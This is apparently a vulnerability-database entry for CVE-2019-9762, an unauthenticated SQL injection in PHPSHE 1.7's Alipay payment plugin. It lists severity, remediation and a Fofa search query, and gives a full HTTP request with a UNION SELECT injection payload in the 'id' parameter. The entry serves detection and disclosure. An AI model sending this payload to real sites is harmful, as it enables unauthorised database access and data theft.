| Title | PHPSHE 1.7 - SQL Injection |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion. |
| Remediation | Update to the latest version of PHPSHE or apply security patches to sanitize input parameters. |
| CVSS Score | 9.8 |
| EPSS Score | 0.59667 |
| CVE ID | CVE-2019-9762 |
| CWE ID | CWE-89 |
| Fofa Query | app="PHPSHE" |
| Tags | cve cve2019 phpshe sqli vkev vuln |
A SQL Injection was discovered in PHPSHE 1.7 in include/plugin/payment/alipay/pay.php with the parameter id. The vulnerability does not need any authentication.
GET /include/plugin/payment/alipay/pay.php?id=pay%20where%201=1%20union%20select%201,2,CONCAT(md5(1069)),4,5,6,7,8,9,10,11,12%23_ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9762.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-9762.pcap
N/AN/A